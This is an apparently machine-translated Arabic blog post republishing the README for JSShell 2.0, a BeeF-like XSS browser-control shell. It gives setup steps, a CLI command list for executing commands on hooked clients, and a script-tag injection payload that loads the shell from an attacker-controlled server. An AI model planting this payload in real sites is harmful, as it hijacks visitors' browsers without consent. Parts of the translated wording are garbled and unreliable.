JSShell - شبكة تفاعلية متعددة المستخدمين JS Shell

عبارة عن غلاف جافا سكريبت تفاعلي متعدد المستخدمين يستند إلى الويب. تم إنشاؤه في البداية من أجل تصحيح المستعرضات الباطنية عن بعد أثناء التجارب والبحوث. يمكن إرفاق هذه الأداة بسهولة مع حمولة XSS (البرمجة عبر الموقع) لتحقيق تنفيذ التعليمات البرمجية عن بعد للمتصفح (على غرار إطار عمل BeeF). 
تم إنشاء الإصدار 2.0 بالكامل من الصفر ، حيث يقدم ميزات جديدة مثيرة وثبات وقابلية الصيانة.

المؤلف
دانييل ابلز . 

شل فيديو



المميزات
دعم متعدد العملاء
دعم كائنات DOM الدائرية
قبل رحلة الخطوط
Command Queue & Context
قابل للتوسعة مع الوظائف الإضافية
عن طريق الحقن عن طريق <script>العلامات
إخراج إخراج التفريغ إلى الملف
ترقيم الصفحات



ملف تكوين التثبيت والإعداد
فيresourcesالدليل ، قم بتحديثconfig.jsonالملف بالتهيئة التي تريدها:
مضيف قاعدة البيانات - في حالة تشغيله باستخدام dockerطريقة النشر ، اختر مضيف قاعدة البيانات باسم db(وهو اسم المضيف الداخلي).
عنوان URL للعودة - عنوان URL الذي ستتبعه الطلبات. يقوم shell.jsالملف ببعض مكالمات AJAX للتسجيل والاستفتاء للأوامر الجديدة. عادة سوف يكونhttp://{YOUR_SERVER_IP}:{PORT}.
البرنامج النصي لبدء التشغيل - برنامج نصي يتم تشغيله تلقائيًا عند إنتاج عميل JSShell CLI.
من الممكن أيضاً الإشارة إلى قاعدة بيانات بعيدة عند الرغبة.

عامل الميناء صرح
هذا الإصدار الجديد بالتثبيت وتشغيله عبر dockerو docker-composeالآن ، لتثبيت وتشغيل إطار JSShell بالكامل ، قم ببساطة بتشغيل:
$ ./start_docker_shell.sh
هذا سوف:
بدء وإنشاء قاعدة البيانات في الخلفية
ابدأ خادم واجهة برمجة تطبيقات الويب الذي يعالج الاتصالات الواردة في الخلفية
إنتاج نسخة جديدة من حاوية واجهة JSShell سطر الأوامر

منتظم
إذا كنت لا تزال ترغب في استخدام طريقة تثبيت الطراز القديم ، فاحرص فقط على MongoDBتشغيل قاعدة البيانات وتشغيلها وتحديث config.jsonالملف المقيم في resourcesالدليل. 
أوصي باستخدام بيئة افتراضية مع pyenv:
$ pyenv virtualenv -p python3.6 venv
 $ pyenv activate venv
أو باستخدام virtualenv:
$ virtualenv -p python3.6 venv
 $ source venv/bin/activate
ثم قم بتثبيت المتطلبات:
$ pip install -r requirements.txt

قيد التشغيل
إذا استخدمتdockerالطريقة ، فلا داعي لتشغيل الإجراء التالي. 

خادم الويب
بخلاف ذلك ، بمجرد إعداد قاعدة البيانات ، نحتاج إلى بدء خادم واجهة برمجة تطبيقات الويب. للقيام ، قم بتشغيل:
$ python manage.py web
سيؤدي ذلك إلى إنشاء خادم ويب وتشغيله يستمع إلى الاتصالات الواردة ويخدم شفرة JSShell الخاصة بنا. 

Shell
الآن لبدء تشغيل JSShell CLI ، قم بتشغيل نفس البرنامج النصي ولكن الآن مع shellالعلم:
$ python manage.py shell

الاستخدام
بعد الإعداد وتشغيل المكونات المطلوبة ، أدخلhelpالأمر لرؤية الأوامر المتاحة:
     ╦╔═╗┌─┐┬ ┬┌─┐┬  ┬  
      ║╚═╗└─┐├─┤├┤ │  │  
     ╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0     
         by @Daniel_Abeles
     
 >> help
 
 Documented commands (type help <topic>):
 
 General Commands
 --------------------------------------------------------------------------------
 edit                Edit a file in a text editor
 help                List available commands or provide detailed help for a specific command
 history             View, run, edit, save, or clear previously entered commands
 ipy                 Enter an interactive IPython shell
 py                  Invoke Python command or shell
 quit                Exit this application
 
 Shell Based Operations
 --------------------------------------------------------------------------------
 back                Un-select the current selected client
 clients             List and control the clients that have registered to our system
 commands            Show the executed commands on the selected client
 dump                Dumps a command to the disk
 execute             Execute commands on the selected client
 select              Select a client as the current client
 
 >> 

تدفق
JSShell يدعم طريقتين للتشغيل:
شل قابل للحقن (على غرار إطار BeeF)
استضافت شل (لتصحيح الأخطاء)

شل قابل للحقن كما هو
الحال مع غيرها من أطر التحكم XSS (مثل BeeF) ، JSShell قادر على إدارة نجاحات XSS الناجحة. في المثال ، إذا كان بإمكانك إدخال scriptعلامة ، فحقن المورد التالي في حمولتك ، وسيظهر عميل جديد في وحدة التحكم الخاصة بك: 
<script src="http://{YOUR_SERVER_IP}:{PORT}/content/js"></script>

Shell المستضاف
إذا كنت ترغب في تصحيح المستعرضات الغريبة والظاهرة ، يمكنك ببساطة الانتقال إلى http://{YOUR_SERVER_IP}:{PORT}/وإرادة عميل جديد انبثق إلى عميل JSShell CLI الخاص بك. الآن يمكن تصحيحه عبر وحدة تحكم JSShell الخاصة بنا. 

الاعتمادات
Canop ل JSON.prune 

استخدامها على مسؤوليتك والمخاطر الخاصة بك.


تنزيل JSShell

Commentaires

Posts les plus consultés de ce blog